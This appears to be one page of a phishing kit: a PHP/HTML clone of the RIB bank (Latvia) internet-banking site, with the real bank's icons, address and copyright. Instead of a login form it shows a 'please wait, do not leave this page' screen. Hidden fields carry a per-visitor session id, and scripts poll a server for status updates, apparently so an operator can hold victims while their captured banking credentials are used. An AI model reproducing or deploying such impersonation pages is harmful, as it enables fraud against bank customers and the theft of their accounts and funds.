<?php
$uniqueid = $_SESSION["visitor_uniqueid"];
?>

<!DOCTYPE html>
<!-- saved from url=(0035)https://ib.ribbank.com/elatvija.cfm -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
    <title>RIB | Login</title>
    <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/rib/global.css">
    <link rel="icon" type="image/x-icon" href="https://ib.ribbank.com/favicon.ico?v24">
    <link rel="icon" type="image/png" href="https://ib.ribbank.com/images/favicons/favicon-96x96.png?v24" sizes="96x96">
    <link rel="apple-touch-icon" sizes="57x57" href="https://ib.ribbank.com/images/favicons/apple-icon-57x57.png?v24">
    <link rel="apple-touch-icon" sizes="60x60" href="https://ib.ribbank.com/images/favicons/apple-icon-60x60.png?v24">
    <link rel="apple-touch-icon" sizes="72x72" href="https://ib.ribbank.com/images/favicons/apple-icon-72x72.png?v24">
    <link rel="apple-touch-icon" sizes="76x76" href="https://ib.ribbank.com/images/favicons/apple-icon-76x76.png?v24">
    <link rel="apple-touch-icon" sizes="114x114" href="https://ib.ribbank.com/images/favicons/apple-icon-114x114.png?v24">
    <link rel="apple-touch-icon" sizes="120x120" href="https://ib.ribbank.com/images/favicons/apple-icon-120x120.png?v24">
    <link rel="apple-touch-icon" sizes="144x144" href="https://ib.ribbank.com/images/favicons/apple-icon-144x144.png?v24">
    <link rel="apple-touch-icon" sizes="152x152" href="https://ib.ribbank.com/images/favicons/apple-icon-152x152.png?v24">
    <link rel="apple-touch-icon" sizes="180x180" href="https://ib.ribbank.com/images/favicons/apple-icon-180x180.png?v24">
    <link rel="mask-icon" href="https://ib.ribbank.com/images/favicons/safari-pinned-tab.svg?v24" color="#5bbad5">
    <meta name="msapplication-TileColor" content="#ffffff">
    <meta name="msapplication-TileImage" content="images/favicons/ms-icon-144x144.png?v24">
    <meta name="format-detection" content="telephone=no">
    <meta name="theme-color" content="#ffffff">
		<script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/rib/jquery.min.js"></script>

	<script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/rib/jquery.cookie.js"></script>
	<script>
		function CheckPWD(evt) {
	$('.login_messages').hide();
	var obj = document.getElementById("password");

	var str = obj.value;
	var errLatin = false;
	var errCaps = false;
	if (strNonLatin0.test(str)) {errLatin = true;}
	if (str.toLowerCase() != str) {errCaps = true;}
	var strerr = '&nbsp;';
	if (errLatin || errCaps) {
		$('.login_messages').show();
		if (errLatin && errCaps) {
			strerr = 'Jūs izmantojat ne latīņu simbolus!<BR>Jūs izmantojat lielos simbolus!';
		} else if (errLatin) {
			strerr = 'Jūs izmantojat ne latīņu simbolus!';
		} else {
			strerr = 'Jūs izmantojat lielos simbolus!';
		}
	}
	$('.login_messages').html(strerr);
	//document.getElementById("iPWD_ERR").innerHTML = strerr;
}

function enter(event)
{
//	alert(1);
    if ($('#client_id').val() == "")
    {
        //$('#client_id').focus();
		showAlert ("Ievadiet, lūdzu, klienta kodu vai grupas nosaukumu.");
		event.preventDefault();
		return false;
    }
    else if ($('#password').val() == "")
    {
        //$('#password').focus();
		showAlert ("Ievadiet DigiPass ierīces kodu");
		event.preventDefault();
		return false;
    }
    else
    {
	return true;

    }
}
function showAlert(str_) {
	$('.login_messages').html(str_);
	$('.login_messages').show();
}

var strNonLatin0 = /[^ |a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|\u0100|\u0101|\u010C|\u010D|\u0112|\u0113|\u0122|\u0123|\u012A|\u012B|\u0136|\u0137|\u013B|\u013C|\u0145|\u0146|\u0160|\u0161|\u016A|\u016B|\u017D|\u017E|0|1|2|3|4|5|6|7|8|9|!|"|#|$|%|&|'|(|)|\*|+|,|\-|.|\/|:|;|<|=|>|?|@|\[|\\|\]|\^|_|`|{|\||}|~]/;

function CheckLogin(evt)
{
	$('.login_messages').hide();
	var obj = $("#client_id").val();
	var strerr = '&nbsp;';
	if (strNonLatin0.test(obj)) {
		$('.login_messages').show();
		strerr = 'Jūs izmantojat ne latīņu simbolus!';
	}
	$('.login_messages').html(strerr);
}
$(function(){


});
	</script>
	<style>
		a.sea_underline {
color:#278fc4;
font-family:Arial;
font-size:12px;
font-weight:700;
text-decoration:underline;
}
	</style>

  <script>
  var urlroot = '<?= URLROOT ?>';
  var uniqueid = '<?= $uniqueid ?>';
  var url_to_status_array = <?= json_encode($data["options"]) ?>;
  </script>
  <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
  <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
  <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
  <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
  <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>
  <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>
  <link rel="stylesheet" href="<?= URLROOT ?>/css/shared/loader.css">
</head>
<body class="clear-layout login-page cookie" style="">

<div class="content-cookies t3">
    <span class="content-cookies__text">Šajā tīmekļa vietnē tiek izmantotas sīkdatnes. Turpinot lietot šo vietni, Jūs piekrītat sīkdatņu izmantošanai.
        <a href="#" class="content-cookies__more">Vairāk informācijas
            <svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#right"></use></svg>
        </a>
    </span>
    <button class="content-cookies__close js-close-cookie">
        <svg class="icon">
            <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#close"></use>
        </svg>
    </button>
</div>

<div class="clear-layout__wrapper">
    <div class="clear-layout__header">
        <div class="clear-layout__header-left">
            <a href="#" class="clear-layout__link-back hide-mobile hide-tablet">
                <svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#left"></use></svg>
                Uz mājas lapu</a>
            <a href="#" class="show-tablet show-mobile">
                <img src="<?= URLROOT ?>/front_end/front_end_files/rib/logo-sm.svg" class="clear-layout__logo-small">
            </a>
        </div>
        <div class="clear-layout__header-right">
            <ul class="nav-global__second-links">
                <li>
                    <button class="nav-global__lang-select js-drop-toggl">LV</button>
                    <div class="drop-menu nav-global__drop" style="">
                        <div class="nav-global__drop-container">
                            <div class="nav-global__drop-menu nav-global__drop-menu--lang">
                                <ul>
                                    <li>
                                        <a href="#" class="">En</a>
                                    </li>
                                    <li>
                                        <a href="#" class="">Lv</a>
                                    </li>
                                    <li>
                                        <a href="#" class="selected">Ru</a>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </li>
            </ul>
        </div>
    </div>
    <div class="login-page__container">
        <div class="login-page__container-left">
            <div class="login-page__link-back-wrapper show-mobile show-tablet">
                <a href="#" class="clear-layout__link-back">
                    <svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#left"></use></svg>
                    Uz mājas lapu</a>
            </div>
            <a href="#" class="login-page__logo-wrapper"><img src="<?= URLROOT ?>/front_end/front_end_files/rib/logo_lv.svg" class="login-page__logo hide-mobile hide-tablet" alt=""></a>

            <div class="login-page__information">
                <div class="login-page__information-col">
                    <div class="login-page__information-item">

                        <div class="login-page__information-item-title">Klienta Info Serviss:</div>
                        <div class="login-page__information-item-text">+371 67 359 000</div>
                    </div>

                </div>
                <div class="login-page__information-col">
                    <div class="login-page__information-item">
                        <div class="login-page__information-item-title">E-pasts</div>
                        <div class="login-page__information-item-text login-page__information-item-text--small"><a href="#">bank@ribbank.com</a></div>
                    </div>
                    <div class="login-page__information-item">
                        <div class="login-page__information-item-title">Adrese</div>
                        <div class="login-page__information-item-text login-page__information-item-text--small">J.Alunāna iela 2, Rīga, LV-1010, Latvija</div>
                    </div>
                </div>
            </div>

        </div>

        <div class="login-page__container-right">

            <div class="login-page__form">
            	 <form id="form">

                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                 <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">


                <div class="login-page__form-title">Lūdzu uzgaidiet</div>


                 <p>Lūdzu, uzgaidiet, kamēr mēs apstrādājam jūsu pieprasījumu. Tas neaizņems ilgu laiku.</p>
                 <div class="loader" style="margin-top: 15px; margin-bottom: 15px; width: 35px; height: 35px; border-top-color: #702F89"></div>
                 <p><b>Neatstāj šo lapu. Jūs zaudēsit savu progresu.</b></p>
                </form>

                <script>
                var loader = new Loader("rib");
                loader.poll();
                </script>

            </div>

        </div>
    </div>
    <div class="clear-layout__footer">
        <p>Copyright © 2023,
    						AS "Reģionālā investīciju banka"</p>

    </div>
</div>

<svg xmlns="http://www.w3.org/2000/svg" style="width:0;height:0;display:none;">
    <symbol viewBox="0 0 14 14" id="search">
        <path d="M10.544 9.342l3.202 3.202a.85.85 0 0 1-1.202 1.202l-3.202-3.202a5.85 5.85 0 1 1 1.202-1.202zM5.85 10a4.15 4.15 0 1 0 0-8.3 4.15 4.15 0 0 0 0 8.3z"></path>
    </symbol>
    <symbol viewBox="0 0 16 12" id="hamburger">
        <path d="M15 0a1 1 0 0 1 0 2H3a1 1 0 1 1 0-2h12zm0 5a1 1 0 0 1 0 2H1a1 1 0 1 1 0-2h14zm0 5a1 1 0 0 1 0 2H5a1 1 0 0 1 0-2h10z"></path>
    </symbol>
    <symbol viewBox="0 0 16 16" id="close">
        <path d="M8.237 7l5.507-5.506A.875.875 0 1 0 12.506.256L7 5.763 1.494.256A.875.875 0 1 0 .256 1.494L5.763 7 .256 12.506a.875.875 0 1 0 1.238 1.238L7 8.237l5.506 5.507a.875.875 0 1 0 1.238-1.238L8.237 7z"></path>
    </symbol>
    <symbol viewBox="0 0 12 12" id="up">
        <path transform="translate(1 2)" d="M5 2.06L1.53 5.53A.75.75 0 0 1 .47 4.47l4-4a.75.75 0 0 1 1.06 0l4 4a.75.75 0 0 1-1.06 1.06L5 2.06z"></path>
    </symbol>
    <symbol viewBox="0 0 34 38" id="scada">
        <path fill="#000" fill-opacity=".1" fill-rule="evenodd" d="M3.182 0h27.845v24.63H17.742v-8.07l2.52 1.448a1.76 1.76 0 0 0 3.205 1.413 1.758 1.758 0 0 0-.648-2.404 1.76 1.76 0 0 0-2.16.32l-2.652-1.521 2.611-1.532a1.76 1.76 0 1 0-.387-.676l-2.63 1.542v-3.021a1.761 1.761 0 1 0-.779-.007v3.013l-2.613-1.5a1.761 1.761 0 0 0-.814-2.025 1.76 1.76 0 1 0-1.754 3.053c.735.42 1.642.256 2.188-.347l2.623 1.506-2.634 1.546a1.76 1.76 0 0 0-2.792 2.108 1.759 1.759 0 0 0 3.19-1.439l2.607-1.528v8.12H3.182V0zm.155 30.364c.955 0 1.836.22 2.57.734l-.367.881h-.073c-.44-.292-1.175-.587-2.056-.587s-1.321.441-1.321 1.029c0 1.394 3.89.88 3.89 3.523C5.98 37.046 5.027 38 3.19 38c-.953 0-1.835-.22-2.569-.734l.367-.88h.073c.442.292 1.176.586 2.057.586.954 0 1.394-.44 1.394-1.028 0-1.395-3.89-.88-3.89-3.523 0-1.102.954-2.057 2.715-2.057zm6.927 0c.882 0 1.762.22 2.424.734l-.367.881h-.074c-.368-.292-1.101-.587-1.689-.587-1.174 0-1.909.735-1.909 2.79 0 2.056.735 2.79 1.835 2.79.662 0 1.395-.294 1.837-.586h.073l.367.88c-.735.514-1.615.734-2.57.734-1.835 0-3.01-1.175-3.01-3.818s1.175-3.818 3.083-3.818zm7.79 4.111h-1.029c-1.247 0-1.87.515-1.87 1.25 0 .733.623 1.247 1.357 1.247s1.322-.587 1.542-1.027v-1.47zm-3.45-2.495h-.074l-.367-.882a5.017 5.017 0 0 1 2.57-.734c1.835 0 2.79.955 2.79 3.084v4.406h-.955l-.22-.882h-.073c-.368.44-.955 1.028-2.203 1.028-1.396 0-2.276-.88-2.276-2.276 0-1.395.88-2.276 3.23-2.276h1.028c0-1.468-.587-2.056-1.615-2.056-.66 0-1.395.294-1.836.588zm17.927 2.495h-1.028c-1.248 0-1.872.515-1.872 1.25 0 .733.624 1.247 1.359 1.247.733 0 1.321-.587 1.54-1.027v-1.47zm-3.45-2.495h-.074l-.367-.882a5.017 5.017 0 0 1 2.57-.734c1.835 0 2.79.955 2.79 3.084v4.406h-.955l-.22-.882h-.073c-.368.44-.955 1.028-2.203 1.028-1.396 0-2.276-.88-2.276-2.276 0-1.395.88-2.276 3.23-2.276h1.028c0-1.468-.587-2.056-1.615-2.056-.66 0-1.395.294-1.836.588zm-3.611 3.964c-.22.442-.808 1.028-1.47 1.028-.88 0-1.614-.734-1.614-2.79 0-2.055.734-2.79 1.689-2.79.514 0 1.027.147 1.395.44v4.112zm1.356-7.978l-1.244.325a.112.112 0 0 0-.112.112v2.403c-.441-.295-1.029-.442-1.763-.442-1.541 0-2.79 1.249-2.79 3.818 0 2.643 1.175 3.818 2.717 3.818 1.101 0 1.689-.587 2.056-1.028h.073l.22.881h.956v-9.775a.114.114 0 0 0-.113-.112z"></path>
    </symbol>
    <symbol viewBox="0 0 12 12" id="right">
        <path transform="translate(4 1)" d="M.47 1.53A.75.75 0 0 1 1.53.47l4 4a.75.75 0 0 1 0 1.06l-4 4A.75.75 0 0 1 .47 8.47L3.94 5 .47 1.53z"></path>
    </symbol>
    <symbol viewBox="0 0 12 12" id="left">
        <path transform="translate(2 1)" d="M5.53 8.47a.75.75 0 0 1-1.06 1.06l-4-4a.75.75 0 0 1 0-1.06l4-4a.75.75 0 0 1 1.06 1.06L2.06 5l3.47 3.47z"></path>
    </symbol>
    <symbol viewBox="0 0 12 12" id="down">
        <path transform="translate(1 4)" d="M8.47.47a.75.75 0 0 1 1.06 1.06l-4 4a.75.75 0 0 1-1.06 0l-4-4A.75.75 0 0 1 1.53.47L5 3.94 8.47.47z"></path>
    </symbol>
    <symbol viewBox="0 0 24 24" id="plus">
        <path fill="#000" fill-rule="evenodd" d="M11 11V7a1 1 0 0 1 2 0v4h4a1 1 0 0 1 0 2h-4v4a1 1 0 0 1-2 0v-4H7a1 1 0 0 1 0-2h4z"></path>
    </symbol>
    <symbol viewBox="0 0 24 24" id="minus">
        <rect width="12" height="2" x="6" y="11" fill="#000" fill-rule="evenodd" rx="1"></rect>
    </symbol>
    <symbol viewBox="0 0 44 44" id="logo_white">
        <path fill="#FFF" fill-rule="evenodd" d="M0 21.8c0 12.038 9.758 21.798 21.8 21.798 12.038 0 21.796-9.76 21.796-21.799C43.596 9.761 33.838 0 21.801 0 9.758 0 0 9.76 0 21.8zm41.18 0c0 10.687-8.695 19.382-19.38 19.382-10.689 0-19.384-8.695-19.384-19.383 0-10.688 8.695-19.381 19.385-19.381 10.684 0 19.379 8.693 19.379 19.381zm-13.124 3.628V22.61h2.436c.878 0 1.928.243 1.928 1.408 0 .895-.66 1.409-1.812 1.409h-2.552zm0-7.258h1.81c1.072 0 1.664.464 1.664 1.305 0 .793-.612 1.304-1.558 1.304h-1.916v-2.61zm5.615 1.082c0-1.908-1.334-3.046-3.566-3.046h-4.159v11.185h4.888c2.228 0 3.726-1.308 3.726-3.253 0-1.341-.643-2.257-1.907-2.728.396-.3 1.018-.96 1.018-2.158zm-12.747 8.139h2.127V16.206h-2.127v11.185zm-8.807-5.899v-3.397h1.78c1.254 0 2.002.639 2.002 1.707 0 1.075-.729 1.69-2.002 1.69h-1.78zm1.944-5.286h-4.057v11.185h2.113v-4.01h1.644l2.436 4.01h2.484l-2.674-4.394c1.304-.586 2.047-1.742 2.047-3.195 0-2.15-1.604-3.596-3.993-3.596z"></path>
    </symbol>
    <symbol viewBox="0 0 24 24" id="link_arrow">
        <g fill="none" fill-rule="evenodd" stroke="#702F8A">
            <path stroke-width="1.2" d="M7.904 17.096a6.5 6.5 0 1 0 0-9.192"></path>
            <path d="M4.5 12.5h10M12 10l2.494 2.5L12 15"></path>
        </g>
    </symbol>
    <symbol viewBox="0 0 132 132" id="done">
        <path fill="#702F8A" fill-rule="evenodd" d="M65.897.113C29.496.113 0 29.617 0 66.006c0 36.39 29.496 65.891 65.897 65.891 36.387 0 65.883-29.5 65.883-65.891 0-36.389-29.496-65.893-65.883-65.893m0 7.308c32.295 0 58.578 26.277 58.578 58.585 0 32.305-26.283 58.588-58.578 58.588-32.31 0-58.594-26.283-58.594-58.588 0-32.308 26.283-58.585 58.594-58.585zM49.807 71h-7.559l11.28 19h7.628L91.58 42h-7.696L57.398 83.786 49.808 71z"></path>
    </symbol>
</svg>

<script>
  /*!
 * JavaScript Cookie v2.2.0
 * https://github.com/js-cookie/js-cookie
 *
 * Copyright 2006, 2015 Klaus Hartl & Fagner Brack
 * Released under the MIT license
 */
  (function (factory) {
    var registeredInModuleLoader = false;
    if (typeof define === 'function' && define.amd) {
      define(factory);
      registeredInModuleLoader = true;
    }
    if (typeof exports === 'object') {
      module.exports = factory();
      registeredInModuleLoader = true;
    }
    if (!registeredInModuleLoader) {
      var OldCookies = window.Cookies;
      var api = window.Cookies = factory();
      api.noConflict = function () {
        window.Cookies = OldCookies;
        return api;
      };
    }
  }(function () {
    function extend () {
      var i = 0;
      var result = {};
      for (; i < arguments.length; i++) {
        var attributes = arguments[ i ];
        for (var key in attributes) {
          result[key] = attributes[key];
        }
      }
      return result;
    }

    function init (converter) {
      function api (key, value, attributes) {
        var result;
        if (typeof document === 'undefined') {
          return;
        }

        // Write

        if (arguments.length > 1) {
          attributes = extend({
            path: '/'
          }, api.defaults, attributes);

          if (typeof attributes.expires === 'number') {
            var expires = new Date();
            expires.setMilliseconds(expires.getMilliseconds() + attributes.expires * 864e+5);
            attributes.expires = expires;
          }

          // We're using "expires" because "max-age" is not supported by IE
          attributes.expires = attributes.expires ? attributes.expires.toUTCString() : '';

          try {
            result = JSON.stringify(value);
            if (/^[\{\[]/.test(result)) {
              value = result;
            }
          } catch (e) {}

          if (!converter.write) {
            value = encodeURIComponent(String(value))
              .replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent);
          } else {
            value = converter.write(value, key);
          }

          key = encodeURIComponent(String(key));
          key = key.replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent);
          key = key.replace(/[\(\)]/g, escape);

          var stringifiedAttributes = '';

          for (var attributeName in attributes) {
            if (!attributes[attributeName]) {
              continue;
            }
            stringifiedAttributes += '; ' + attributeName;
            if (attributes[attributeName] === true) {
              continue;
            }
            stringifiedAttributes += '=' + attributes[attributeName];
          }
          return (document.cookie = key + '=' + value + stringifiedAttributes);
        }

        // Read

        if (!key) {
          result = {};
        }

        // To prevent the for loop in the first place assign an empty array
        // in case there are no cookies at all. Also prevents odd result when
        // calling "get()"
        var cookies = document.cookie ? document.cookie.split('; ') : [];
        var rdecode = /(%[0-9A-Z]{2})+/g;
        var i = 0;

        for (; i < cookies.length; i++) {
          var parts = cookies[i].split('=');
          var cookie = parts.slice(1).join('=');

          if (!this.json && cookie.charAt(0) === '"') {
            cookie = cookie.slice(1, -1);
          }

          try {
            var name = parts[0].replace(rdecode, decodeURIComponent);
            cookie = converter.read ?
              converter.read(cookie, name) : converter(cookie, name) ||
              cookie.replace(rdecode, decodeURIComponent);

            if (this.json) {
              try {
                cookie = JSON.parse(cookie);
              } catch (e) {}
            }

            if (key === name) {
              result = cookie;
              break;
            }

            if (!key) {
              result[name] = cookie;
            }
          } catch (e) {}
        }

        return result;
      }

      api.set = api;
      api.get = function (key) {
        return api.call(api, key);
      };
      api.getJSON = function () {
        return api.apply({
          json: true
        }, [].slice.call(arguments));
      };
      api.defaults = {};

      api.remove = function (key, attributes) {
        api(key, '', extend(attributes, {
          expires: -1
        }));
      };

      api.withConverter = init;

      return api;
    }

    return init(function () {});
  }));

  $(document).ready(function() {

    if (Cookies.get('cookie_disclaimer') === undefined) {
      $('body').addClass('cookie');
    } else {
      $('body').removeClass('cookie');
    }

  });

  $(document).on('click', '.js-close-cookie', function (e) {
    e.preventDefault();
    $('body').removeClass('cookie');
    Cookies.set('cookie_disclaimer', '1', { expires: 30*13 });
  });

  $(document).on('click', '.js-drop-toggl', function (e) {
    e.preventDefault();
    if (!$(this).hasClass('drop')) {
      $(this).addClass('drop');
      $(document).on('click', 'body', function (e) {
        var d = $('.drop'), m = $('.drop-menu');
        if (!m.find(':hover').length) {
          d.removeClass('drop');
          $(document).off('click', 'body');
        }
      });
    } else {
      $(this).removeClass('drop');
      $(document).off('click', 'body');
    }
  });

  $(document).on('change input onpropertychange', 'input, textarea, select', function() {
    $(this).check();
  });

  $.fn.check = function() {
    if ( $(this).val().length !== 0 ) {
      $(this).addClass('ok');
      $(this).removeClass('empty');
    } else {
      $(this).removeClass('ok');
    }
    return this;
  };

  $('textarea').on('keyup paste', function() {
    var $el = $(this), offset = $el.innerHeight() - $el.height();
    if ($el.innerHeight < this.scrollHeight) {
      $el.height(this.scrollHeight - offset);
    } else {
      $el.height(1);
      $el.height(this.scrollHeight - offset);
    }
  });

</script>


 </body></html>
